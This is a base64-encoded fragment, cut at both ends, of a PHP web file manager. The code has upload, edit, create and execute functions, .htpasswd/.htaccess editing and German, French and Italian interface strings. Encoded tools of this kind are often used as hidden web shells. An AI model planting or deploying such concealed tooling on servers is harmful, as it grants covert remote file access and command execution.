VwZWF0KCcmbmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+DQonOw0KDQoJZm9yZWFjaCAoJGFjdGlvbnMgYXMgJGFjdGlvbikgew0KCQllY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiRhY3Rpb25cIj4iIC4gd29yZCgkYWN0aW9uKSAuICI8L29wdGlvbj5cbiI7DQoJfQ0KDQoJZWNobyAnCQk8L3NlbGVjdD4NCgkJPGlucHV0IGNsYXNzPSJzbWFsbCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfYWxsIiB2YWx1ZT0iICZndDsgIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiBkaXJlY3RvcnlfY2hvaWNlICgpIHsNCglnbG9iYWwgJGRpcmVjdG9yeSwgJGhvbWVkaXIsICRjb2xzLCAkc2VsZjsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImRpcmVjdG9yeSI+DQoJCTxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGhvbWVkaXIpIC4gJyI+JyAuIHdvcmQoJ2RpcmVjdG9yeScpIC4gJzwvYT46DQoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUoXCdkaXJlY3RvcnlcJykiIC8+DQoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNoYW5nZWRpciIgdmFsdWU9IicgLiB3b3JkKCdjaGFuZ2UnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiB1cGxvYWRfYm94ICgpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgllY2hvICc8dHI+DQoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIGlkPSJ1cGxvYWQiPg0KCQknIC4gd29yZCgnZmlsZScpIC4gJzoNCgkJPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZCIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0X3VwbG9hZCIgdmFsdWU9IicgLiB3b3JkKCd1cGxvYWQnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZV9ib3ggKCkgew0KCWdsb2JhbCAkY29sczsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImNyZWF0ZSI+DQoJCTxzZWxlY3QgbmFtZT0iY3JlYXRlX3R5cGUiIHNpemU9IjEiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIj4NCgkJPG9wdGlvbiB2YWx1ZT0iZmlsZSI+JyAuIHdvcmQoJ2ZpbGUnKSAuICc8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5Ij4nIC4gd29yZCgnZGlyZWN0b3J5JykgLiAnPC9vcHRpb24+DQoJCTwvc2VsZWN0Pg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX25hbWUiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfY3JlYXRlIiB2YWx1ZT0iJyAuIHdvcmQoJ2NyZWF0ZScpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUoXCdjcmVhdGVcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGVkaXQgKCRmaWxlKSB7DQoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkZWRpdGNvbHMsICRlZGl0cm93cywgJGFwYWNoZSwgJGh0cGFzc3dkLCAkaHRhY2Nlc3M7DQoNCglodG1sX2hlYWRlcigpOw0KDQoJZWNobyAnPGgyIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAzcHQiPicgLiBodG1sKCRmaWxlKSAuICc8L2gyPg0KDQo8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCg0KCTx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBjb2xzPSInIC4gJGVkaXRjb2xzIC4gJyIgcm93cz0iJyAuICRlZGl0cm93cyAuICciIFdSQVA9Im9mZiI+JzsNCg0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdjb250ZW50JywgJF9QT1NUKSkgew0KCQllY2hvICRfUE9TVFsnY29udGVudCddOw0KCX0gZWxzZSB7DQoJCSRmID0gZm9wZW4oJGZpbGUsICdyJyk7DQoJCXdoaWxlICghZmVvZigkZikpIHsNCgkJCWVjaG8gaHRtbChmcmVhZCgkZiwgODE5MikpOw0KCQl9DQoJCWZjbG9zZSgkZik7DQoJfQ0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ3VzZXInXSkpIHsNCgkJZWNobyAiXG4iIC4gJF9QT1NUWyd1c2VyJ10gLiAnOicgLiBjcnlwdCgkX1BPU1RbJ3Bhc3N3b3JkJ10pOw0KCX0NCglpZiAoIWVtcHR5KCRfUE9TVFsnYmFzaWNfYXV0aCddKSkgew0KCQlpZiAoJHdpbikgew0KCQkJJGF1dGhmaWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZGlyZWN0b3J5KSAuICRodHBhc3N3ZDsNCgkJfSBlbHNlIHsNCgkJCSRhdXRoZmlsZSA9ICRkaXJlY3RvcnkgLiAkaHRwYXNzd2Q7DQoJCX0NCgkJZWNobyAiXG5BdXRoVHlwZSBCYXNpY1xuQXV0aE5hbWUgJnF1b3Q7UmVzdHJpY3RlZCBEaXJlY3RvcnkmcXVvdDtcbiI7DQoJCWVjaG8gJ0F1dGhVc2VyRmlsZSAmcXVvdDsnIC4gaHRtbCgkYXV0aGZpbGUpIC4gIiZxdW90O1xuIjsNCgkJZWNobyAnUmVxdWlyZSB2YWxpZC11c2VyJzsNCgl9DQoNCgllY2hvICc8L3RleHRhcmVhPg0KDQoJPGhyIC8+DQonOw0KDQoJaWYgKCRhcGFjaGUgJiYgYmFzZW5hbWUoJGZpbGUpID09ICRodHBhc3N3ZCkgew0KCQllY2hvICcNCgknIC4gd29yZCgndXNlcicpIC4gJzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+DQoJJyAuIHdvcmQoJ3Bhc3N3b3JkJykgLiAnOiA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInIC4gd29yZCgnYWRkJykgLiAnIiAvPg0KDQoJPGhyIC8+DQonOw0KDQoJfQ0KDQoJaWYgKCRhcGFjaGUgJiYgYmFzZW5hbWUoJGZpbGUpID09ICRodGFjY2Vzcykgew0KCQllY2hvICcNCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJiYXNpY19hdXRoIiB2YWx1ZT0iJyAuIHdvcmQoJ2FkZF9iYXNpY19hdXRoJykgLiAnIiAvPg0KDQoJPGhyIC8+DQonOw0KDQoJfQ0KDQoJZWNobyAnDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZWRpdCIgLz4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iJyAuIHdvcmQoJ3Jlc2V0JykgLiAnIiBpZD0icmVkX2J1dHRvbiIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiB2YWx1ZT0iJyAuIHdvcmQoJ3NhdmUnKSAuICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJtYXJnaW4tbGVmdDogNTBweCIgLz4NCg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJaHRtbF9mb290ZXIoKTsNCg0KfQ0KDQpmdW5jdGlvbiBzcGFjZXIgKCkgew0KCWdsb2JhbCAkY29sczsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgc3R5bGU9ImhlaWdodDogMWVtIj48L3RkPg0KPC90cj4NCic7DQoNCn0NCg0KZnVuY3Rpb24gdGV4dGZpZWxkc2l6ZSAoJGNvbnRlbnQpIHsNCg0KCSRzaXplID0gc3RybGVuKCRjb250ZW50KSArIDU7DQoJaWYgKCRzaXplIDwgMzApICRzaXplID0gMzA7DQoNCglyZXR1cm4gJHNpemU7DQoNCn0NCg0KZnVuY3Rpb24gcmVxdWVzdF9kdW1wICgpIHsNCg0KCWZvcmVhY2ggKCRfUkVRVUVTVCBhcyAka2V5ID0+ICR2YWx1ZSkgew0KCQllY2hvICJcdDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIiIgLiBodG1sKCRrZXkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCR2YWx1ZSkgLiAiXCIgLz5cbiI7DQoJfQ0KDQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gaHRtbCAoJHN0cmluZykgew0KCWdsb2JhbCAkY2hhcnNldDsNCglyZXR1cm4gaHRtbGVudGl0aWVzKCRzdHJpbmcsIEVOVF9DT01QQVQsICRjaGFyc2V0KTsNCn0NCg0KZnVuY3Rpb24gd29yZCAoJHdvcmQpIHsNCglnbG9iYWwgJHdvcmRzLCAkd29yZF9jaGFyc2V0Ow0KCXJldHVybiBodG1sZW50aXRpZXMoJHdvcmRzWyR3b3JkXSwgRU5UX0NPTVBBVCwgJHdvcmRfY2hhcnNldCk7DQp9DQoNCmZ1bmN0aW9uIHBocmFzZSAoJHBocmFzZSwgJGFyZ3VtZW50cykgew0KCWdsb2JhbCAkd29yZHM7DQoJc3RhdGljICRzZWFyY2g7DQoNCglpZiAoIWlzX2FycmF5KCRzZWFyY2gpKSBmb3IgKCRpID0gMTsgJGkgPD0gODsgJGkrKykgJHNlYXJjaFtdID0gIiUkaSI7DQoNCglmb3IgKCRpID0gMDsgJGkgPCBzaXplb2YoJGFyZ3VtZW50cyk7ICRpKyspIHsNCgkJJGFyZ3VtZW50c1skaV0gPSBubDJicihodG1sKCRhcmd1bWVudHNbJGldKSk7DQoJfQ0KDQoJJHJlcGxhY2UgPSBhcnJheSgneycgPT4gJzxwcmU+JywgJ30nID0+JzwvcHJlPicsICdbJyA9PiAnPGI+JywgJ10nID0+ICc8L2I+Jyk7DQoNCglyZXR1cm4gc3RyX3JlcGxhY2UoJHNlYXJjaCwgJGFyZ3VtZW50cywgc3RyX3JlcGxhY2UoYXJyYXlfa2V5cygkcmVwbGFjZSksICRyZXBsYWNlLCBubDJicihodG1sKCR3b3Jkc1skcGhyYXNlXSkpKSk7DQoNCn0NCg0KZnVuY3Rpb24gZ2V0d29yZHMgKCRsYW5nKSB7DQoJZ2xvYmFsICR3b3JkX2NoYXJzZXQsICRkYXRlX2Zvcm1hdDsNCg0KCXN3aXRjaCAoJGxhbmcpIHsNCgljYXNlICdkZSc6DQoNCgkJJGRhdGVfZm9ybWF0ID0gJ2QubS55IEg6aTpzJzsNCgkJJHdvcmRfY2hhcnNldCA9ICdJU08tODg1OS0xJzsNCg0KCQlyZXR1cm4gYXJyYXkoDQonZGlyZWN0b3J5JyA9PiAnVmVyemVpY2huaXMnLA0KJ2ZpbGUnID0+ICdEYXRlaScsDQonZmlsZW5hbWUnID0+ICdEYXRlaW5hbWUnLA0KDQonc2l6ZScgPT4gJ0dyw7bDn2UnLA0KJ3Blcm1pc3Npb24nID0+ICdSZWNodGUnLA0KJ293bmVyJyA9PiAnRWlnbmVyJywNCidncm91cCcgPT4gJ0dydXBwZScsDQonb3RoZXInID0+ICdBbmRlcmUnLA0KJ2Z1bmN0aW9ucycgPT4gJ0Z1bmt0aW9uZW4nLA0KDQoncmVhZCcgPT4gJ2xlc2VuJywNCid3cml0ZScgPT4gJ3NjaHJlaWJlbicsDQonZXhlY3V0ZScgPT4gJ2F1c2bDvGhyZW4nLA0KDQonY3JlYXRlX3N5bWxpbmsnID0+ICdTeW1saW5rIGVyc3RlbGxlbicsDQonZGVsZXRlJyA9PiAnbMO2c2NoZW4nLA0KJ3JlbmFtZScgPT4gJ3VtYmVuZW5uZW4nLA0KJ21vdmUnID0+ICd2ZXJzY2hpZWJlbicsDQonY29weScgPT4gJ2tvcGllcmVuJywNCidlZGl0JyA9PiAnZWRpdGllcmVuJywNCidkb3dubG9hZCcgPT4gJ2hlcnVudGVybGFkZW4nLA0KJ3VwbG9hZCcgPT4gJ2hvY2hsYWRlbicsDQonY3JlYXRlJyA9PiAnZXJzdGVsbGVuJywNCidjaGFuZ2UnID0+ICd3ZWNoc2VsbicsDQonc2F2ZScgPT4gJ3NwZWljaGVybicsDQonc2V0JyA9PiAnc2V0emUnLA0KJ3Jlc2V0JyA9PiAnenVyw7xja3NldHplbicsDQoncmVsYXRpdmUnID0+ICdQZmFkIHp1bSBaaWVsIHJlbGF0aXYnLA0KDQoneWVzJyA9PiAnSmEnLA0KJ25vJyA9PiAnTmVpbicsDQonYmFjaycgPT4gJ3p1csO8Y2snLA0KJ2Rlc3RpbmF0aW9uJyA9PiAnWmllbCcsDQonc3ltbGluaycgPT4gJ1N5bWJvbGlzY2hlciBMaW5rJywNCidub19vdXRwdXQnID0+ICdrZWluZSBBdXNnYWJlJywNCg0KJ3VzZXInID0+ICdCZW51dHplcm5hbWUnLA0KJ3Bhc3N3b3JkJyA9PiAnS2VubndvcnQnLA0KJ2FkZCcgPT4gJ2hpbnp1ZsO8Z2VuJywNCidhZGRfYmFzaWNfYXV0aCcgPT4gJ0hUVFAtQmFzaWMtQXV0aCBoaW56dWbDvGdlbicsDQoNCid1cGxvYWRlZCcgPT4gJyJbJTFdIiB3dXJkZSBob2NoZ2VsYWRlbi4nLA0KJ25vdF91cGxvYWRlZCcgPT4gJyJbJTFdIiBrb25udGUgbmljaHQgaG9jaGdlbGFkZW4gd2VyZGVuLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgZXhpc3RpZXJ0IGJlcmVpdHMuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIHd1cmRlIGVyc3RlbGx0LicsDQonbm90X2NyZWF0ZWQnID0+ICciWyUxXSIga29ubnRlIG5pY2h0IGVyc3RlbGx0IHdlcmRlbi4nLA0KJ3JlYWxseV9kZWxldGUnID0+ICdTb2xsZW4gZm9sZ2VuZGUgRGF0ZWllbiB3aXJrbGljaCBnZWzDtnNjaHQgd2VyZGVuPycsDQonZGVsZXRlZCcgPT4gIkZvbGdlbmRlIERhdGVpZW4gd3VyZGVuIGdlbMO2c2NodDpcblslMV0iLA0KJ25vdF9kZWxldGVkJyA9PiAiRm9sZ2VuZGUgRGF0ZWllbiBrb25udGVuIG5pY2h0IGdlbMO2c2NodCB3ZXJkZW46XG5bJTFdIiwNCidyZW5hbWVfZmlsZScgPT4gJ0JlbmVubmUgRGF0ZWkgdW06JywNCidyZW5hbWVkJyA9PiAnIlslMV0iIHd1cmRlIGluICJbJTJdIiB1bWJlbmFubnQuJywNCidub3RfcmVuYW1lZCcgPT4gJyJbJTFdIGtvbm50ZSBuaWNodCBpbiAiWyUyXSIgdW1iZW5hbm50IHdlcmRlbi4nLA0KJ21vdmVfZmlsZXMnID0+ICdWZXJzY2hpZWJlbiBmb2xnZW5kZSBEYXRlaWVuOicsDQonbW92ZWQnID0+ICJGb2xnZW5kZSBEYXRlaWVuIHd1cmRlbiBuYWNoIFwiWyUyXVwiIHZlcnNjaG9iZW46XG5bJTFdIiwNCidub3RfbW92ZWQnID0+ICJGb2xnZW5kZSBEYXRlaWVuIGtvbm50ZW4gbmljaHQgbmFjaCBcIlslMl1cIiB2ZXJzY2hvYmVuIHdlcmRlbjpcblslMV0iLA0KJ2NvcHlfZmlsZXMnID0+ICdLb3BpZXJlIGZvbGdlbmRlIERhdGVpZW46JywNCidjb3BpZWQnID0+ICJGb2xnZW5kZSBEYXRlaWVuIHd1cmRlbiBuYWNoIFwiWyUyXVwiIGtvcGllcnQ6XG5bJTFdIiwNCidub3RfY29waWVkJyA9PiAiRm9sZ2VuZGUgRGF0ZWllbiBrb25udGVuIG5pY2h0IG5hY2ggXCJbJTJdXCIga29waWVydCB3ZXJkZW46XG5bJTFdIiwNCidub3RfZWRpdGVkJyA9PiAnIlslMV0iIGthbm4gbmljaHQgZWRpdGllcnQgd2VyZGVuLicsDQonZXhlY3V0ZWQnID0+ICJcIlslMV1cIiB3dXJkZSBlcmZvbGdyZWljaCBhdXNnZWbDvGhydDpcbnslMn0iLA0KJ25vdF9leGVjdXRlZCcgPT4gIlwiWyUxXVwiIGtvbm50ZSBuaWNodCBlcmZvbGdyZWljaCBhdXNnZWbDvGhydCB3ZXJkZW46XG57JTJ9IiwNCidzYXZlZCcgPT4gJyJbJTFdIiB3dXJkZSBnZXNwZWljaGVydC4nLA0KJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBrb25udGUgbmljaHQgZ2VzcGVpY2hlcnQgd2VyZGVuLicsDQonc3ltbGlua2VkJyA9PiAnU3ltYm9saXNjaGVyIExpbmsgdm9uICJbJTJdIiBuYWNoICJbJTFdIiB3dXJkZSBlcnN0ZWxsdC4nLA0KJ25vdF9zeW1saW5rZWQnID0+ICdTeW1ib2xpc2NoZXIgTGluayB2b24gIlslMl0iIG5hY2ggIlslMV0iIGtvbm50ZSBuaWNodCBlcnN0ZWxsdCB3ZXJkZW4uJywNCidwZXJtaXNzaW9uX2ZvcicgPT4gJ1JlY2h0ZSBmw7xyICJbJTFdIjonLA0KJ3Blcm1pc3Npb25fc2V0JyA9PiAnRGllIFJlY2h0ZSBmw7xyICJbJTFdIiB3dXJkZW4gYXVmIFslMl0gZ2VzZXR6dC4nLA0KJ3Blcm1pc3Npb25fbm90X3NldCcgPT4gJ0RpZSBSZWNodGUgZsO8ciAiWyUxXSIga29ubnRlbiBuaWNodCBhdWYgWyUyXSBnZXNldHp0IHdlcmRlbi4nLA0KJ25vdF9yZWFkYWJsZScgPT4gJyJbJTFdIiBrYW5uIG5pY2h0IGdlbGVzZW4gd2VyZGVuLicNCgkJKTsNCg0KCWNhc2UgJ2ZyJzoNCg0KCQkkZGF0ZV9mb3JtYXQgPSAnZC5tLnkgSDppOnMnOw0KCQkkd29yZF9jaGFyc2V0ID0gJ0lTTy04ODU5LTEnOw0KDQoJCXJldHVybiBhcnJheSgNCidkaXJlY3RvcnknID0+ICdSw6lwZXJ0b2lyZScsDQonZmlsZScgPT4gJ0ZpY2hpZXInLA0KJ2ZpbGVuYW1lJyA9PiAnTm9tIGZpY2hpZXInLA0KDQonc2l6ZScgPT4gJ1RhaWxsZScsDQoncGVybWlzc2lvbicgPT4gJ0Ryb2l0cycsDQonb3duZXInID0+ICdQcm9wcmnDqXRhaXJlJywNCidncm91cCcgPT4gJ0dyb3VwZScsDQonb3RoZXInID0+ICdBdXRyZXMnLA0KJ2Z1bmN0aW9ucycgPT4gJ0ZvbmN0aW9ucycsDQoNCidyZWFkJyA9PiAnTGlyZScsDQond3JpdGUnID0+ICdFY3JpcmUnLA0KJ2V4ZWN1dGUnID0+ICdFeMOpY3V0ZXInLA0KDQonY3JlYXRlX3N5bWxpbmsnID0+ICdDcsOpZXIgbGllbiBzeW1ib2xpcXVlJywNCidkZWxldGUnID0+ICdFZmZhY2VyJywNCidyZW5hbWUnID0+ICdSZW5vbW1lcicsDQonbW92ZScgPT4gJ0TDqXBsYWNlcicsDQonY29weScgPT4gJ0NvcGllcicsDQonZWRpdCcgPT4gJ091dnJpcicsDQonZG93bmxvYWQnID0+ICdUw6lsw6ljaGFyZ2VyIHN1ciBQQycsDQondXBsb2FkJyA9PiAnVMOpbMOpY2hhcmdlciBzdXIgc2VydmV1cicsDQonY3JlYXRlJyA9PiAnQ3LDqWVyJywNCidjaGFuZ2UnID0+ICdDaGFuZ2VyJywNCidzYXZlJyA9PiAnU2F1dmVnYXJkZXInLA0KJ3NldCcgPT4gJ0V4w6ljdXRlcicsDQoncmVzZXQnID0+ICdSw6lpbml0aWFsaXNlcicsDQoncmVsYXRpdmUnID0+ICdSZWxhdGlmJywNCg0KJ3llcycgPT4gJ091aScsDQonbm8nID0+ICdOb24nLA0KJ2JhY2snID0+ICdSZXRvdXInLA0KJ2Rlc3RpbmF0aW9uJyA9PiAnRGVzdGluYXRpb24nLA0KJ3N5bWxpbmsnID0+ICdMaWVuIHN5bWJvbGxpcXVlJywNCidub19vdXRwdXQnID0+ICdQYXMgZGUgc29ydGllJywNCg0KJ3VzZXInID0+ICdVdGlsaXNhdGV1cicsDQoncGFzc3dvcmQnID0+ICdNb3QgZGUgcGFzc2UnLA0KJ2FkZCcgPT4gJ0Fqb3V0ZXInLA0KJ2FkZF9iYXNpY19hdXRoJyA9PiAnYWRkIGJhc2ljLWF1dGhlbnRpZmljYXRpb24nLA0KDQondXBsb2FkZWQnID0+ICciWyUxXSIgYSDDqXTDqSB0w6lsw6ljaGFyZ8OpIHN1ciBsZSBzZXJ2ZXVyLicsDQonbm90X3VwbG9hZGVkJyA9PiAnIlslMV0iIG4gYSBwYXMgw6l0w6kgdMOpbMOpY2hhcmfDqSBzdXIgbGUgc2VydmV1ci4nLA0KJ2FscmVhZHlfZXhpc3RzJyA9PiAnIlslMV0iIGV4aXN0ZSBkw6lqw6AuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIGEgw6l0w6kgY3LDqcOpLicsDQonbm90X2NyZWF0ZWQnID0+ICciWyUxXSIgbiBhIHBhcyBwdSDDqnRyZSBjcsOpw6kuJywNCidyZWFsbHlfZGVsZXRlJyA9PiAnRWZmYWNlciBsZSBmaWNoaWVyPycsDQonZGVsZXRlZCcgPT4gIkNlcyBmaWNoaWVycyBvbnQgw6l0w6kgZMOpdHVpdHM6XG5bJTFdIiwNCidub3RfZGVsZXRlZCcgPT4gIkNlcyBmaWNoaWVycyBuIG9udCBwdSDDqnRyZSBkw6l0cnVpdHM6XG5bJTFdIiwNCidyZW5hbWVfZmlsZScgPT4gJ1Jlbm9tbWUgZmljaGllcjonLA0KJ3JlbmFtZWQnID0+ICciWyUxXSIgYSDDqXTDqSByZW5vbW3DqSBlbiAiWyUyXSIuJywNCidub3RfcmVuYW1lZCcgPT4gJyJbJTFdIG4gYSBwYXMgcHUgw6p0cmUgcmVub21tw6kgZW4gIlslMl0iLicsDQonbW92ZV9maWxlcycgPT4gJ0TDqXBsYWNlciBjZXMgZmljaGllcnM6JywNCidtb3ZlZCcgPT4gIkNlcyBmaWNoaWVycyBvbnQgw6l0w6kgZMOpcGxhY8OpcyBlbiBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9tb3ZlZCcgPT4gIkNlcyBmaWNoaWVycyBuIG9udCBwYXMgcHUgw6p0cmUgZMOpcGxhY8OpcyBlbiBcIlslMl1cIjpcblslMV0iLA0KJ2NvcHlfZmlsZXMnID0+ICdDb3BpZXIgY2VzIGZpY2hpZXJzOicsDQonY29waWVkJyA9PiAiQ2VzIGZpY2hpZXJzIG9udCDDqXTDqSBjb3Bpw6lzIGVuIFwiWyUyXVwiOlxuWyUxXSIsDQonbm90X2NvcGllZCcgPT4gIkNlcyBmaWNoaWVycyBuIG9udCBwYXMgcHUgw6p0cmUgY29wacOpcyBlbiBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIgbmUgcGV1dCDDqnRyZSBvdXZlcnQuJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIGEgw6l0w6kgYnJpbGxhbW1lbnQgZXjDqWN1dMOpIDpcbnslMn0iLA0KJ25vdF9leGVjdXRlZCcgPT4gIlwiWyUxXVwiIG4gYSBwYXMgcHUgw6p0cmUgZXjDqWN1dMOpOlxueyUyfSIsDQonc2F2ZWQnID0+ICciWyUxXSIgYSDDqXTDqSBzYXV2ZWdhcmTDqS4nLA0KJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBuIGEgcGFzIHB1IMOqdHJlIHNhdXZlZ2FyZMOpLicsDQonc3ltbGlua2VkJyA9PiAnVW4gbGllbiBzeW1ib2xpcXVlIGRlcHVpcyAiWyUyXSIgdmVycyAiWyUxXSIgYSDDqXTDqSBjcsOpZS4nLA0KJ25vdF9zeW1saW5rZWQnID0+ICdVbiBsaWVuIHN5bWJvbGlxdWUgZGVwdWlzICJbJTJdIiB2ZXJzICJbJTFdIiBuIGEgcGFzIHB1IMOqdHJlIGNyw6nDqS4nLA0KJ3Blcm1pc3Npb25fZm9yJyA9PiAnRHJvaXRzIGRlICJbJTFdIjonLA0KJ3Blcm1pc3Npb25fc2V0JyA9PiAnRHJvaXRzIGRlICJbJTFdIiBvbnQgw6l0w6kgY2hhbmfDqXMgZW4gWyUyXS4nLA0KJ3Blcm1pc3Npb25fbm90X3NldCcgPT4gJ0Ryb2l0cyBkZSAiWyUxXSIgbiBvbnQgcGFzIHB1IMOqdHJlIGNoYW5nw6lzIGVuWyUyXS4nLA0KJ25vdF9yZWFkYWJsZScgPT4gJyJbJTFdIiBuZSBwZXV0IHBhcyDDqnRyZSBvdXZlcnQuJw0KCQkpOw0KDQoJY2FzZSAnaXQnOg0KDQoJCSRkYXRlX2Zvcm1hdCA9ICdkLW0tWSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQoNCgkJcmV0dXJuIGFycmF5KA0KJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsDQonZmlsZScgPT4gJ0ZpbGUnLA0KJ2ZpbGVuYW1lJyA9PiAnTm9tZSBGaWxlJywNCg0KJ3NpemUnID0+ICdEaW1lbnNpb25pJywNCidwZXJtaXNzaW9uJyA9PiAnUGVybWVzc2knLA0KJ293bmVyJyA9PiAnUHJvcHJpZXRhcmlvJywNCidncm91cCcgPT4gJ0dydXBwbycsDQonb3RoZXInID0+ICdBbHRybycsDQonZnVuY3Rpb25zJyA9PiAnRnVuemlvbmknLA0KDQoncmVhZCcgPT4gJ2xlZ2dpJywNCid3cml0ZScgPT4gJ3Njcml2aScsDQonZXhlY3V0ZScgPT4gJ2VzZWd1aScsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWEgbGluayBzaW1ib2xpY28nLA0KJ2RlbGV0ZScgPT4gJ2NhbmNlbGxhJywNCidyZW5hbWUnID0+ICdyaW5vbWluYScsDQonbW92ZScgPT4gJ3Nwb3N0YScsDQonY29weScgPT4gJ2NvcGlhJywNCidlZGl0JyA9PiAnbW9kaWZpY2EnLA0KJ2Rvd25sb2FkJyA9PiAnZG93bmxvYWQnLA0KJ3VwbG9hZCcgPT4gJ3VwbG9hZCcsDQonY3JlYXRlJyA9PiAnY3JlYScsDQonY2hhbmdlJyA9PiAnY2FtYmlhJywNCidzYXZlJyA9PiAnc2FsdmEnLA0KJ3NldCcgPT4gJ2ltcG9zdGEnLA0KJ3Jlc2V0JyA9PiAncmVpbXBvc3RhJywNCidyZWxhdGl2ZScgPT4gJ1BlcmNvcnNvIHJlbGF0aXZvIHBlciBsYSBkZXN0aW5hemlvbmUnLA0KDQoneWVzJyA9PiAnU2knLA0KJ25vJyA9PiAnTm8nLA0KJ2JhY2snID0+ICdpbmRpZXRybycsDQonZGVzdGluYXRpb24nID0+ICdEZXN0aW5hemlvbmUnLA0KJ3N5bWxpbmsnID0+ICdMaW5rIHNpbWJvbGljbycsDQonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywNCg0KJ3VzZXInID0+ICdVc2VyJywNCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywNCidhZGQnID0+ICdhZ2dpdW5naScsDQonYWRkX2Jhc2ljX2F1dGgnID0+ICdhZ2dpdW5naSBhdXRlbnRpY2F6aW9uZSBiYXNlJywNCg0KJ3VwbG9hZGVkJyA9PiAnIlslMV0iIMOoIHN0YXRvIGNhcmljYXRvLicsDQonbm90X3VwbG9hZGVkJyA9PiAn